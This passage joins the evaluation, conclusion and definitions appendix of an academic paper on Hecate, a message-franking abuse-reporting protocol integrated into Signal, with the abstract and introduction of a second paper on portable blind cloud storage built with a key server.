message franking systems on the same machine and compare
them to Hecate.

Experimental setup. We ran all experiments on Amazon
Web Services in the US East-Ohio Region, using a t3.small
EC2 virtual machine running Ubuntu 20.04 LTS with 2GB
of RAM on a 3.1 GHz Intel Xeon Platinum Processor. Each
data point shown is the average of 300 trials, with outliers
removed. We chose this machine and number of experiment
trials to align with prior work [59, 75].

Hecate communication costs. We list the size of Hecate’s
franked ciphers in Table 3. The sizes in Table 3 stem from
the fact that our libraries yield 32 byte commitments with
32 byte long commitment randomness, 32 byte ciphertexts,
64 byte signatures, 32 byte symmetric and public keys, 12
byte nonces for symmetric encryption, and 8 byte Unix times-
tamps. We remark that there exist more compact instantiations
of these primitives; our choices were motivated by ease of
implementation on top of libsignal-client.

Hecate’s online runtime. Fig. 5 shows the performance of
each component of Hecate for message sizes ranging from
10 bytes to 10 kB. Overall, the runtime costs remain low es-
pecially when compared to the cryptography already required
within an end-to-end messaging system (cf. §6.2).

Most components require executing a SHA-256 hash func-
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Figure 6: Runtime and dollar pricing of pre-processing token
generation (TGen) as function of the token batch size.

Sent Received Report
Tyagi et al. [75] 489 B 489 B 489 B
Peale et al. [59] 256 B 320 B 160 B
Hecate 380 B 484 B 380 B

Table 4: Communication overhead of Hecate and other mes-
sage franking schemes, in bytes.

tion (to calculate x2) whose runtime is linear in the message
size, along with 0-3 digital signature operations whose cost
is independent of message size (cf. Table 2). As a result, the
signature(s) dominate the cost for small message sizes and
the hash function dominates the cost for large messages. The
two costs are balanced at a message size of 7.5 kB, where
hashing and digital signing each take about 33µs. Verify and
Inspect are slower because they require about 192µs to verify
3 signatures. On the other hand, Forward, Stamp and TGen
all have fast runtimes that are independent of message size.
We remark that a forwarder is assumed already to have ver-
ified a message at reception time, so its only work during
Forward is to move the envelope contents into the payload.

Hecate’s preprocessing cost. We also measure TGen over
various batch sizes from 1 to 10,000 tokens. Fig. 6 shows the
runtime and computational cost based on a rate of 2.09¢ per
hour for a t3.small AWS instance at the time of this writing.
Our measurements show that the price of generating a batch
of 104 tokens is 3.45×10−6 USD. Extrapolating to the scale
of 1011 tokens (the approximate number of messages sent
through WhatsApp daily [56]), we estimate the cost of token
generation to be 35 cents per day. We also highlight that
the moderator does not need to remember these ephemeral
signing keys in between preprocessing and reporting; in fact
the moderator doesn’t require any storage cost at all.

Comparison with prior work. In this section, we compare

our Rust implementation with the open-source software by
TGLMR [75] and Peale et al. [59]. To ensure a level compari-
son: we re-ran the benchmarks from prior work [59,75] on our
t3.small AWS instance, we only considered the tree-linkable
version of Peale et al., and we removed the double ratchet
encryption within the benchmarks of Peale et al. in order to
measure only the overhead of their message franking scheme.

We show a comparison of communication overhead in
Table 4, and we compare computation overhead in Table 5
for a message size of 1 kB. The benchmarks of TGLMR [75]
were orders of magnitude slower than the other works because
their construction of designated verifier signature performs
more group operations; their communication overhead was
also the highest. The comparison between Hecate and Peale
et al. [59] is more nuanced. We stress that Hecate achieves
additional security properties like anonymity and backward
security. As a consequence, senders perform more work in
Hecate and transmit more data, whereas Peale et al. leverage
a non-anonymous network so that the platform can tag the
originator of a message. On the other hand, Peale et al. require
a forwarder to generate a commitment, whereas Hecate only
requires generating a random 32 byte string (which could
even be sampled beforehand).

6.2 End-to-End Prototype Deployment
In this section, we integrate Hecate into an existing Signal
client and show that Hecate adds minimal overhead.

Implementation. To test the end-to-end overhead of sending
and receiving messages, we integrated our Rust Hecate library
into the Java tools signal-cli [67] and libsignal-client [69]. The
sender’s Frank procedure adds the Hecate payload to a mes-
sage before encrypting it using the EEMS, and then appends
the Hecate envelope. The receiver decrypts the franked mes-
sage and runs Verify. Our modified libraries are available as
open source repositories [42, 43]. The sender gets tokens by
running the Rust library prior to the start of the experiment.

We deployed the sender and receiver signal-cli instances on
one machine with a 1.90GHz Intel i7-8650U CPU and 16GB
of RAM running Ubuntu 20.04 LTS. They were connected
over a wide-area network to an instance of signal-server [71].

Evaluation. We measured the client side overhead of run-
ning signal-cli with and without Hecate on messages of size
1 kB. In both cases, we measured the average of 10,000 trials
of running local signal-cli operations and 600 trials of end-to-
end (E2E) latency, with outliers removed. Our timer for the
end-to-end latency test starts as soon as the source’s signal-cli
begins franking a message, and it ends when the receiver’s
signal-cli completes processing the franked ciphertext and
outputs the message. These sample sizes are larger than in
§6.1 to overcome the noise added by the network latency, the
polling rate of the receiver, and the warm-up time of the jvm
instance of signal-cli for each of the parties.
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TGen Frank Verify Inspect Forward Stamp
Tyagi et al. [75] – 6339 µs 5461 µs 5939 µs – –
Peale et al. [59] – 8.98 µs 69.56-138.19 µs 73.64 µs 8.46 µs 24.53 µs
Hecate 58.4 µs 38.24 µs 199.15 µs 203.87 µs 1.16 µs 29.17 µs

Table 5: Runtimes of message franking schemes, in microseconds, for a message size of 1 kB. The runtime of Verify within
Peale et al. [59] differs based on whether the message is authored (left) or forwarded (right).

Hecate No Hecate Diff
Send 2.55 ms 2.38 ms 0.16 ms
Receive 3.19 ms 2.52 ms 0.67 ms
Total 5.74 ms 4.91 ms 0.83 ms
E2E Latency 37.28 ms 36.3 ms 0.98 ms

Table 6: Computation and communication costs for signal-cli
with and without Hecate, for a message size of 1 kB. Send
and Receive (104 trials) correspond to local computation prior
to sending or after receiving the message over the network.
E2E Latency (600 trials) starts at the beginning of Send and
stops at the end of Receive, with network latency included.

Our results are shown in Table 6. They showcase how the
findings from Table 5 translate to imperceptible overheads
in an actual deployment of Hecate on a Signal client. The
inclusion of Hecate adds less than a millisecond of runtime
locally and over the network, on average. Moreover, this dif-
ference is dwarfed by the sample variance of signal-cli due to
the sources of measurement uncertainty.

7 Conclusion and Discussion

In this work, we constructed the first abuse reporting protocol
that combines asymmetric message franking and source trac-
ing. We integrated this construction into a Signal client and
showed that its performance impact was imperceptible. Along
the way, we generalized the AMF model to accommodate pre-
processing, and we formalized security properties that hadn’t
previously been considered by message franking schemes.

In this final section, we discuss some extensions of Hecate,
known limitations, and opportunities for future work.

Extensions. We extend Hecate’s communication from the
two-device setting to more realistic flows supported by Signal.

Group Messaging. Hecate’s definitions and constructions
can be ported in a straightforward manner to Signal’s group
messaging protocol, in which broadcasts to a group of size
N are implemented via N individual point-to-point messages,
after a server-assisted consensus protocol to determine the
group [22]. We note that there exist recent works and an IETF
standardization effort on sub-linear ends-to-ends encrypted
group chats [5, 6, 12, 24, 66]; it remains an open problem to
design abuse reporting mechanisms for these protocols.

Multiple Devices. Hecate can easily support multiple de-

vices for the same user (e.g., a phone and laptop) by giving
each device its own independent set of tokens. The moderator
can use the same idsrc for both sets of tokens, so that reports
only name an identity rather than a device.

Limitations. We discuss a few limits of our approach.
Reporting Benign Messages. Our construction allows re-

ceivers to report messages that may later be deemed to be
non-abusive. While it might be possible to require the re-
ceiver to prove to an honest moderator that the message they
are reporting is actually abusive, this question is incredibly
delicate and is therefore out of scope for this and all prior
works on end-to-end abuse reporting.

Distinguishing Forwarded vs. Original Messages. In our
construction, receivers can distinguish between sent and for-
warded messages. While this may be a desirable feature in a
messaging app, it is still a leakage in our system.

Forwarding Cycle Linkability. If the forwarding path of a
message contains a cycle, i.e. a receiver receives the same
forwarded message multiple times, then they can tell that
these messages originate from the same source. This is an
inherent weakness of Hecate as a result of forwarding the
same tokens per message that we do not attempt to protect
against. It may be possible to combine Hecate with Peale et
al.’s techniques to remove this leakage [59].

Future Work. Looking ahead, we identify several avenues
of future research into privacy-respecting content moderation.

Content Censorship. Content moderation systems can be
misused for censorship purposes. Questions surrounding what
constitutes misinformation or a “bad” message fall outside the
scope of this work and into the realm of policy making and
social media regulation. We believe however that it may be
interesting to federate the role of the moderator in: (1) defining
bad messages, (2) verifying reports, (3) taking actions with
respect to flagged contents and users.

Super Spreaders. A recent line of work [72,81] on misinfor-
mation spread in social media distinguishes between honest
users who forward misinformation and malicious actors that
act as super spreaders of misinformation. Honest users can
mistakenly forward or send misinformation content without
ever realizing it. Super spreaders on the other are adversar-
ially creating or spreading bad content. Future work could
examine aggregate behavior in order to distinguish malicious
vs. mistaken users.

Partial opening. Known AMF constructions like Hecate
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only allow the receiver to report all or none of a message. It
should be possible to achieve partial opening to the moderator
by extending the message franking techniques of Leontiadis
and Vaudenay [54] to the asymmetric setting.

Stronger Notions of Backward Security. Backward security
makes no guarantees with respect to anything created during
the time of compromise. In the context of content moderation,
this implies that the adversary can blame users for old com-
promised messages. We encourage future research into ways
to limit the damage of adversarial moderation reports or to
allow honest parties to correct the record post-recovery.

Ensuring System Security. Finally, we emphasize that our
study of abuse reporting has been primarily through a cryp-
tographic lens, and as a result does not capture all aspects
of security. For example, many of our crypto definitions as-
sume that clients already have sufficient preprocessing tokens
in hand. When implementing Hecate, careful attention is re-
quired to ensure that adversaries cannot obtain a side channel
by, e.g., influencing when preprocessing is run.
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A Definitions of Cryptographic Building
Blocks

This work uses four standard cryptographic building blocks
that we use and adapt from Boneh-Shoup [14] and Katz-
Lindell [51]. In what follows, we define the message space as
M := {0,1}∗, the key space as K := {0,1}n, the ciphertext
space as C := {0,1}∗, the randomness space R := {0,1}n

and the signature space as Σ := {0,1}n, where n denotes the
security parameter.

Definition 2 (Commitment scheme). A non-interactive com-
mitment scheme is defined by two algorithms Com and Vf.

• Com is an algorithm that takes a random string r←$ R ,
and a plaintext message m ∈M and outputs a commit-
ment com := Com(m, r).

• Vf is an algorithm that takes a commitment com,
a string r and a plaintext message m and checks if
Vf(m,com, r) := (Com(m, r)

?
= com).

Definition 3 (Binding commitment). A commitment scheme
π = {Com,Vf} is computationally binding if for all prob-
abilistic polynomial time (PPT) adversaries A , there is a

negligible function negl(n) such that:

Adv
bindingcom
π (A) = Pr[Com(m, r,param) =

Com(m′, r′,param) | m 6= m′]≤ negl(n).

Definition 4 (Hiding commitment). Let π = {Com,Vf} be a
commitment scheme. LetComA

hiding be defined by the following
experiment:

• The adversary A outputs a pair of messages m0,m1 ∈
M .

• A uniform bit b∈ {0,1} and the randomness r←{0,1}n

are chosen.
• The adversary A is given access to the commitment ora-

cle Ocom−hiding which on messages m0 and m1 computes
and returns the commitment com← Com(mb, r), where
Vf(Com(mb, r),mb, r) = 1.

• The output of the experiment is 1 if b′ = b and 0 other-
wise.

A commitment scheme π is computationally hiding if for all
PPT adversaries A there is a negligible function negl(n) such
that:

Adv
hidingcom
π (A) = Pr[ComA

hiding(n) = 1]≤ 1
2
+negl(n).

Definition 5 (Encryption scheme). A randomized private key
encryption scheme is defined by three algorithms EncKGen,
Enc and Dec over a finite message space M .

• EncKGen is a probabilistic key generation algorithm
that outputs a key sk sampled uniformly at random from
K .

• Enc is the randomized encryption algorithm that takes
as an input sk and plaintext message m∈M and outputs
c := Encsk(m) where c ∈ C .

• Dec is the decryption algorithm that takes as an input
sk and a ciphertext c in the ciphertext space C and
outputs a plaintext message m := Decsk(c) such that
c := Encsk(m).

Definition 6 (CCA security). Let π = {EncKGen,Enc,Dec}
be an encryption scheme. Let ENCA

cca,π(n) denote the follow-
ing experiment:

• EncKGen is run to obtain (pk,sk) and a uniform bit
b ∈ {0,1} is chosen. The adversary A is given pk.

• The adversary A is given access to the encryption oracle
Oenc

cca which, on messages m0,m1, outputs a ciphertext
c← Encpk(mb).

• The adversary A is given access to the decryption oracle
Odecrypt

cca which outputs the decrypted plaintext message
m under sk when handed out a ciphertext c′.

• A continues to interact with the decryption and encryp-
tion oracles, but may not request a decryption of any
ciphertext c returned by Oenc

cca .
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• Finally A output a bit b′. The output of the experiment
is defined to be 1 if b = b′, and 0 otherwise.

We say that π is secure under a chosen-ciphertext attack (CCA)
if for all PPT adversaries A , there exists a negligble function
negl(n) such that:

Advenccca
π = Pr[ENCA

cca,π(n) = 1]≤ 1
2
+negl(n).

Definition 7 (CPA security). Let π = {EncKGen,Enc,Dec}
be an encryption scheme. Let ENCA

cpa,π(n) denote a similar
experiment to ENCA

cca,π(n) where the adversary A only has
access to the encryption oracle that rename as Oenc

cpa. We say
that π is secure under a chosen-plaintext attack (CPA) if for all
PPT adversaries A , there exists a negligble function negl(n)
such that:

Adv
enccpa
π = Pr[ENCA

cpa,π(n) = 1]≤ 1
2
+negl(n).

Definition 8 (Digital signature scheme). A signature scheme
is defined as the triple of algorithms SigKGen, Sign, Vf over
the message space M and the signature space Σ.

• SigKGen is a probabilistic key generation algorithm that
output a key pair (pk,sk) sampled from K , where pk is
the public verification key and sk is the secret signing
key.

• Sign is the probabilistic signing algorithm that takes the
signing key sk and a plaintext message m and outputs a
signature σ← Signsk(m), where σ ∈ Σ.

• Vf is the deterministic verification algorithm which
checks the signature σ against the plaintext message
m and public key pk and outputs ⊥ or 1 such that:

Pr[Vf(pk,m,Signsk(m)) = 1] = 1.

Definition 9 (EU-CMA security). Let π =
{SigKGen,Sign,Vf} denote a digital signature scheme. Let
SigA

eu−cma be the experiment defined as:

• SigKGen is run to obtain (pk,sk).
• The adversary A is given pk and access to the signing

oracle Osign
eu−cma which on message m computes and out-

puts the signature σ of that message under the secret
signing key sk. Let Q denote the set of all queries that
A makes to Osign

eu−cma.
• The adversary A then outputs (m′,σ′).
• The experiment outputs 1 if and only if Vfpk(m′,σ′) = 1

and m′ 6∈ Q , and 0 otherwise.

We say that π is existentially unforgeable under an adaptive
chosen-message attack (EU-CMA) if for all PPT adveries A ,
there is a negligible function negl(n) such that:

Adv
sigeu-cma
π (A) = Pr[SigA

eu-cma(n) = 1]≤ negl(n).

Definition 10 (Hash function). A hash function with output
length l is defined by two algorithms Gen and H.

• Gen is a probabilistic algorithm which outputs a key
k ∈K .

• H is an algorithm which takes as input as key k and a
string m ∈M and outputs a string Hk(m) ∈ {0,1}l(n).

Definition 11 (Collision resistance). Let π = {Gen,H} de-
note a hash function. Let HashA

coll be the experiment defined
as:

• Gen is run to obtain k.
• The adversary A is given access to the hashing oracle
Ohash which on input m returns Hk(m)

• The adversary then outputs m0 and m1.
• The experiment outputs 1 if and only if m0 6= m1 and
Hk(m0) = Hk(m1).

We say that π is collision resistant if for all PPT adversaries
A there is a negligible function negl(n) such that:

Adv
hashcoll
π (A) = Pr[HashA

coll(n) = 1]≤ negl(n).
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Abstract

The cloud has become pervasive, and we ask: how can we pro-
tect cloud data against the cloud itself? For messaging Apps,
facilitating user-to-user private communication via a cloud
server, security has been formulated and solved efficiently
via End-to-End encryption, building on existing channels
between end users via servers (i.e., exploiting TLS, and en-
cryption, without the need to program new primitives). How-
ever, the analogous problem for Apps employing servers for
storing and retrieving end-user data privately, solving the anal-
ogous “privacy from the server itself” (cloud-blind storage)
where (1) based on existing infrastructure and (2) allowing
user mobility, is, in fact, still open. Existing proposals, like
password protected secret sharing (PPSS), target end-to-same-
end encryption of storage, but need new protocols, whereas
most popular commercial cloud storage services are not pro-
grammable. Namely they lack the simplicity needed for being
portable over any cloud storage service.

Here, we propose a novel system for storing private data in
the cloud with the help of a key server (necessary given the
requirements). In our system, the user data will be secure from
any of: the cloud server, the key server, or any illegitimate
users, while the authenticated user can access the data on
any devices just via a correct passphrase. The most attractive
feature of our system is that it does not require the cloud
storage server to support any newly programmable operations,
except the existing client login and the data storing. Moreover,
our system is simply built on top of the existing App login,
and the user only needs one passphrase to login the App and
access his secure storage. The security of our protocol, in
turn, is proved under our rigorous models, and the efficiency
is further demonstrated by real-world network experiments
over Amazon S3. We remark that a preliminary variant, based
on our principles, was deployed by Snapchat in their My Eyes
Only module, serving hundreds of millions of users!

1 Introduction

Modern Apps increasingly leverage cloud services to store
and manage their clients’ data. Email providers, online docu-
ment programs, and music libraries that synchronize across all
kinds of devices are all storing users data in the cloud. Lever-
aging public cloud storage services such as Google Cloud
Storage, Amazon S3, etc, helps companies to design their
Apps with great flexibility and scalability without the need to
invest in their own infrastructure. However, this also signifi-
cantly increases the risk of leaking client’s information [33].
Indeed, since the data are owned by the users but collected
by the App and stored in the cloud, privacy has already been
raised as a serious concern for these Apps. It is, thus, natural
that users have the right to require that their data are protected,
so that accessing either by illegitimate users, or the provider
of the App, or even the operators of the cloud server storing
the content, is prohibited. Unfortunately, popular cloud stor-
age services either directly store the user data, or keep the
decryption key so that the files get decrypted on the server
side every time they are accessed.

Given the laudatory success of cryptography research, one
may naturally assume that it is a solved problem. However
(somewhat unexpectedly), taking different requirements from
real-world considerations into account, the problem of aug-
menting an App with a secure and usable cloud storage is
still out of reach.

Portability & cloud-blindness. Portability is a desired prop-
erty since a user may access his content from multiple devices,
such as mobile phones, laptops, and desktops. Moreover,
there is a possibility that the user loses (or breaks) a device
and/or has to move to a new one and recovers the data from
storage. To protect user data against cloud, the data stored
in cloud should be blind to the cloud. A naive attempt that
encrypting data with a strong key and storing it on the user
device hinders the basic requirement of user’s mobility among
devices (portability, which is a major advantage in utilizing
the cloud, to begin with!). On the other hand, one may suggest
to encrypt with a password (or any corresponding derived key)
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directly [42] so that a human can remember. Unfortunately,
from security point of view, it is a very weak (low entropy)
key, thus vulnerable to potential offline dictionary attacks
from a corrupted cloud (or whoever breached the cloud).

Such an inherent dilemma between cloud-blindness and
portability hints at the fact that the problem of secure (blind)
and portable cloud storage is not solvable in the theoretic
model with only one storage provider which might be cor-
rupt.1However, if we pay a closer look at existing system set-
tings, we see that besides renting public cloud storage servers,
most App providers also deploy separate, independently-run
servers (corporate or private cloud component) for routine
administration such as user management. Therefore, a natural
idea is to consider this real-world system model with more
than one independent server.

Indeed, cryptographic tools such as password-hardened
encryption (PHE) [34]) leverage external crypto services to
strengthen the security of password protected storage. In a
PHE, the user password will be sent to the storage server and
then “hardened” to a strong key with an external server called
“rate limiter” via a password hardening service [16, 35, 47];
then the storage server takes this strong key to do encryption
and decryption. It is secure against external attackers that may
breach the storage server. On the other hand, as an orthogonal
concept, the main motivation of PHE (and password harden-
ing) is to provide secure service to a “crypto-free” client thus
the storage server does the cryptographic operations including
encryption/decryption. Thus the cloud-blindness as we wish
is beyond the security model of PHE.

Deployablity. From theoretical feasibility point of view, with
multiple servers, several cryptographic primitives can satisfy
both cloud-blindness and portability, such as general secure
multiparty computation (MPC), and password protected se-
cret sharing (PPSS) [5, 10–12, 27–29, 36, 56]. In particular,
a (t,n)-PPSS protocol allows a user to store a secret among
n servers so that he can later reconstruct it with a password
by contacting t servers. While an attacker breaking into up
to t−1 servers and controlling all communication channels
learns nothing about the secret. However, these more theo-
retical solutions are difficult to be used by current Apps for
deployablity issues.

All existing PPSS solutions require specific algebraic op-
erations (on both servers) that bring a major hurdle for a
“scalable” deployment. Those operations are not supported at
all by the APIs of most commercial cloud storage services!
Note that plain storage services like Dropbox and Amazon
S3 normally provide extremely limited set of APIs. Take
Amazon S3 for example, they only provide two types of APIs:
storage, retrieval, deletion and access control related function-

1Indeed, several works, e.g., Boyen [8] formally showed that any
password-protected portable storage between a user and one server is al-
ways vulnerable to an offline dictionary attack by the malicious server or
hackers obtaining the server’s database, who holds a “known content” can
always offline play the user side.

alities. Therefore, the App providers have no choice but to
use cloud computing services (such as Amazon EC2), which
is dramatically (and unnecessarily) more expensive than us-
ing plain cloud storage (such as Amazon S3). For example,
besides the fixed-rate transfer cost, using Amazon EC2 in-
stances for storage incurs a very large computation cost to
keep the virtual machines continuously running, plus about
5 times the storage cost of the cost of a plain storage service
like Amazon S3. According to a rough estimation, an App
provider with only 1 million users will have to pay around
two million dollars more if deploying the same secure storage
on EC2 instead of S3 for just one month! (See Section. 6 for
details of the estimation.)

In this paper, we will consider the architecture with one
plain storage server and one App server (sometimes also
called key server), shown in Figure 1.

Figure 1: The architecture.

Built-in App login. We may let the client get his password
“hardened” to a strong key K via the password hardening
service [16, 35, 47] using the App server as the “rate limiter”.
Then the user uses K to encrypt his content and authenticate
himself to the plain cloud server. However, there is one more
issue to consider when augmenting an App with a secure and
usable cloud storage: since the existing App login (usually
password based) is already in place, and in real world, users
often reuse their passwords or slight variations [46]. When
the App server is corrupted, the login password may be learnt
via offline attacks. Then the adversary can use this password
to breach into the secure storage system! We thus requires a
new design that can let the user reuse the existing App log-in
without weakening security.

In a nutshell, while one can always design a protocol for
the purpose of portable blind cloud storage, the deployability
and built-in App login requirements in a real industrial setting
make them, in fact, not as ready to use and augment exist-
ing systems. Note that the industrial-context constraints like
the economic and engineering overhead are often ignored in
the literature, but become particularly essential in upgrading
an already heavily used App which cannot suffer down time
and lose existing registered users (see Table 1). We, there-
fore, conclude that we still lack an industrial-system-oriented
feasible solution for the basic question:

How to augment Apps with a cloud-secure (blind), portable,
and highly efficient storage functionality, easily deploy-able

on non-programmable cloud storage services?
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PPSS
PHE
[34]

OKMS
[30] PBCS

Cloud-blindness Yes No Yes Yes
Plain cloud storage No * Yes Yes
Built-in App login No * No Yes
One pwd Yes Yes No Yes
Crypto-free client No Yes1 No No
Oblivious key update No Yes Yes No2

Table 1: Comparison of different primitives. Cloud-blindness
means that neither corrupted server can recover the user’s
data. Plain cloud storage means the system could deploy
on the non-programmable cloud storage. * means that the
property alone is not considered in PHE (beyond its model).
Build-in App login means the existing App login mechanism
for authentication is integrated. One pwd means that the user
only needs to use one password for the secure storage. Crypto-
free client means that the App client involves no cryptography
except the basic TLS. Oblivious key update means that the
system update key without client participation.

1.1 Our contributions
We model, design, analyze, implement, and experiment with
a novel system, which we name Portable Blind Cloud Storage
(PBCS). It aims to achieve the four goals simultaneously:
portability, cloud-blindness, deployability and built-in App
login. PBCS can realize the functionalities of both the App lo-
gin and blind cloud storage modules with one protocol and be
directly deployed on plain cloud storage services like Amazon
S3. The user can reconstruct its data and login the App if and
only if he contributes a correct passphrase (e.g., successfully
log-in). At the core of our PBCS system is a “Give-and-Take
protocol” that involves the user with its current device, a data
server (plain storage) and a key server (See Fig. 2, Fig. 6
and Fig. 7). More detailed comparisons with previous works
could be found in Section 1.4 and Table 1.

Portability: PBCS allows the users to securely access his
content and login the App on any device using one passphrase.
The security and the usability of the system will be unaffected
when some of his devices are lost, as no secret is stored in the
user’s device. See Sec. 5 for detailed discussions.

Cloud-blindness: PBCS provides an “end-to-same-end” au-
thenticated encryption for the data. Specifically, the data is
semantically secure even against a compromised server and il-
legitimate users who do not follow the protocol. Furthermore,
neither server can make the client accept tampered data. See
security models and analysis in Sec. 4.2.

Deployability on plain cloud storage: PBCS minimizes the
requirements of the data server, so that it can be deployed in
existing plain storage services like Amazon S3 or Dropbox. In
our protocol, the data server only needs to support password
login and basic data storage/retrieve functions. We implement
our protocol with simple optimizations. The simplicity and

the essentially “negligible” overhead of our PBCS system are
showcased by evaluations done in a real network environment
with the data server deployed on Amazon S3. See Sec. 6.

Built-in App login: PBCS integrates the App login module, so
the user does not need to enter two separate passphrases for the
App login and the secure storage module. This not only saves
the engineering overhead, but also minimizes the influence
on the user experience after the secure storage modular has
been augmented. Furthermore, it can prevent security issues
when careless users set the two independent passphrases for
the login and the storage to be same.

1.2 Technical overview.

To achieve the four goals simultaneously, there are several
challenges to resolve. From security point of view, we need to
be particularly careful about potential offline attacks. In a very
high-level, we let client leverage each server to login another
server, in a way that data server only needs to support login,
while key/App server login can be reused. More importantly,
these logins essentially “force” the adversary to do online
attacks (which are easier to defend) instead of offline attacks.

Figure 2: PBCS data flow. 1). the client derives his password
by querying the key server with his passphrase. 2). the client
logins the data server with his ID and the derived password.
3). the client logins the key server. 4). the client “shares” his
master key. 5). the client encrypts his data with the master
key and deposit the ciphertext to the data server.

Client authentication to a plain storage server. A
computation-barren plain storage, like Dropbox, usually only
supports a password login mechanism, it thus rules out PPSS
that needs algebraic operations. Our key observation is that
the user can leverage the key server to generate and maintain
a high entropy “password” to login the data server. Inspired
by the password hardening techniques [16, 35], we let the
key server provide a service called identity based password
hardening. This service enables the client (instead of server

1PHE let the server encrypt and decrypt the message.
2PBCS can also achieve the proactive security (updating the encryption

key) by the client invoking the “Give-and-Take” protocol via new random-
nesses. See Appendix B.
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in PHE) to compute a unique pseudo-random string with suf-
ficient length using a low entropy passphrase according to
his identity, without revealing the passphrase (See Sec.3 for
details). The “hardened” password is then used to register at
and later login the data server (Step 1,2 in Fig. 2). Without the
correct passphrase, it is impossible to login the data server.

Client authentication with a built-in App login. Since user
will mostly do App login anyway, to use it without threat-
ening the security of passphrase used in secure storage, we
let the client use only one passphrase and ensure that the key
server cannot learn the passphrase via App login. More pre-
cisely, the passphrase PP will be hardened, while the actual
authentication token t for key server login will be replaced
with another one that can be generated using PP and some
randomness sid that is stored in data server. Thus, anyone who
can authenticate himself to the key server/login the App must
login the data server first (whose authenticator was hardened
using PP for the same id from the key server) and reconstruct-
ing the same t with the randomnesses sid . In this way, the
existing App login could be seamlessly integrated into our
“Give-and-Take” protocol. More importantly, to login the App
and access the secure storage is achieved by one protocol with
only one passphrase user can remember.

Detecting malicious behaviors. Either corrupt server may
not follow the protocol, hence we need to detect malicious
behaviors of servers. But due to the deployment requirements,
we do not have the luxury of involving non-interactive zero-
knowledge (NIZK) proofs like most of the PPSS schemes
[5, 10–12, 27, 36, 56] (either the proof or the verification) on
the plain cloud storage. In PBCS, we want to provide a
lightweight solution by leveraging authenticated encryption.
Specifically, we let data be encrypted by an authenticated
encryption scheme via a master key mk, hence the confiden-
tiality and the integrity of the data is guaranteed if mk has not
been leaked or tampered. However, we also need to protect
mk itself via a KEM when a part of the KEM encryption key
(some randomness rid) must be barely stored on one of the
servers. The security properties of the standard authenticated
encryption will not trivially hold when the key is modified.
To guarantee the integrity of mk, we introduce a twisted Enc-
then-Hash paradigm, which enables the client (decryptor) to
verify that the KEM encryption key has not been modified.

1.3 Extended applications
Moreover, instantiating PBCS in different settings could lead
to different interesting new applications. They not only in-
clude various applications of PPSS such as password man-
ager [5] and portable cryptocurrency wallet [28], but also
more interesting scenarios, we give three examples below.

Secure personal repository. One of the most suitable set-
tings for our PBCS is to keep personal multimedia data such

as pictures and video albums secure in the cloud and available
across devices; or upgrading a plain version of a social media
App into one having secure storage at the back-end. Indeed,
an early version of our protocol was implemented and de-
ployed by Snapchat as their My Eyes Only module [7, 31, 49].
In the system, the smartphone transmits encrypted videos
to a content server provided by Google Cloud, and sends
corresponding tokens to a key server managed by the Snap.
The client’s videos are kept private to both Google and Snap.
PBCS in this paper has significantly improved the preliminary
version both on the usability and security. Particularly, we
allow the data server to be plain cloud storage, and reuses the
App log-in requiring only one single password after upgrade.

Secure sync-up system for E2EE messaging Apps. En-
crypted messengers like WhatsApp routinely back up users’
text messages and contact lists to cloud servers. These back-
ups undo much of the strong security offered by E2EE —
since they make it much easier for the companies and hackers
to obtain users’ plaintext content. Some Apps like Signal
chose to provide a secure backup module relying on the trust
hardware SGX [37], which may suffer from all kinds of side
channel attacks [6, 9, 45, 52]. Instead, PBCS can help users
synchronize their contact lists and chat history in an encrypted
manner on a third-party cloud server chosen by themselves,
while only use the App provider’s server as the key manage-
ment server of PBCS. Therefore the contact list can only be
accessed by the user with correct passphrase.

Portable personal AI assistant with privacy guarantee.
Nowadays Internet companies strive to provide personalized
models for their customers based on the data collected over-
time from user devices. Traditional methods involve extract-
ing personal data to the cloud and doing the training on the
data set to derive a model, then enabling the cloud server to
assist whenever a user logs in to the server and provides new
data input. However, at times this raises serious concerns
about user privacy, and legal ones such as the EU General
Data Protection Regulation (GDPR) [53]. Complying with
such regulations while maintaining the utility of the AI assis-
tant is important so learning on device has been suggested:
Exemplified in “federated learning” [38]. However, once the
user model is computed, restricting it to the single device is
limiting. Using our solution, once a personal model is gen-
erated, the user can securely store her personal AI assistant
model in the cloud, and get access to it via any other device
or when changing devices. Note that in our solution, the user
plain data never leaves the user devices and the user has full
control of his own data and personal AI assistant model which
remains private when passing across devices.

1.4 Other related works
Password hardening, introduced in [16] and modeled in
[35, 47], aims at enhancing the security of password login
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with the assistance of an extra server not colluding with the
server to be logged-in. A password management system,
called SPHINX, was proposed in [48], which could protect
the security of password even when password manager has
been compromised. This line of works mainly focused on the
security of password itself, while we are trying to improve
the security of the overall cloud storage module for Apps.
Nevertheless, we adopt the techniques in [48] to design an
important building block IBOPRF of the PBCS system.

Password-hardened encryption (PHE) [34] is proposed to
enhance the security of the password based cloud storage,
although it does not achieve the cloud-blindness as we re-
quired. In PHE, the storage server takes the user password as
input and interacts with an external server called “rate limiter”
to “hardened” the password to a strong key, and use it to do
encryption and decryption. One advantage of PHE is that
the client does not need to process any cryptographic com-
putations except transforming the username and password.
Another feature of PHE is that both the crypto server and the
storage server can rotate their secret keys to provide proactive
security. However, in contrast to PBCS , the storage server
in PHE learns both client’s decrypted message and password,
while in PBCS only the client encrypts and decrypts data.

Another related primitive is the Oblivious Key Manage-
ment Service (OKMS) proposed in [30], which helps clients
manage the secret key via an untrusted storage server. How-
ever, OKMS does not meet our deployability requirement,
since the design of OKMS did not consider the authentication
of the client. One may use two passwords to login into the two
servers, which we aim to avoid. It is suggested [30] to instan-
tiate OKMS within Hardware Security Modules (HSMs) [23]
to prevent unauthorized queries, but the client-side storage for
OKMS makes it non-portable (this also applies to end-to-end
hardware modules [23]).

The PPSS [5, 10–12, 27–29, 56] can achieve the portability
and the cloud-blindness as we required, since both systems
let a user store secret information among multiple servers
so that she can later recover the information solely on the
basis of her password. However, most of the PPSS designers
paid more attentions on the communication round optimiza-
tion2 instead of the deloyability, the compatibility and the
concrete efficiency. When PPSS is used to augment an App
with secure storage, the users need to remember one addi-
tional password to login the App. More importantly, PPSS
cannot be deployed on a plain cloud storage which is the
main stream (and cheaper) commercial cloud product. An-
other difference comes from the fact that the initiation phrase
of PPSS requires authenticated channels between the user and
the honest servers, but PBCS always allow the adversary to
impersonate the legitimate user when depositing the content.

Very recently, Dauterman et al., [14] proposed a system
for encrypted mobile-device backups, named SafetyPin. Safe-

2Although some PPSS [1, 27] may save 2 rounds than our PBCS .

tyPin requires users to remember only a short PIN and defends
against brute-force PIN-guessing attacks using hardware secu-
rity protections. Since SafetyPin splits trust over a cluster of
hardware security modules (HSMs), it can protect backed-up
user data even against an attacker that can adaptively com-
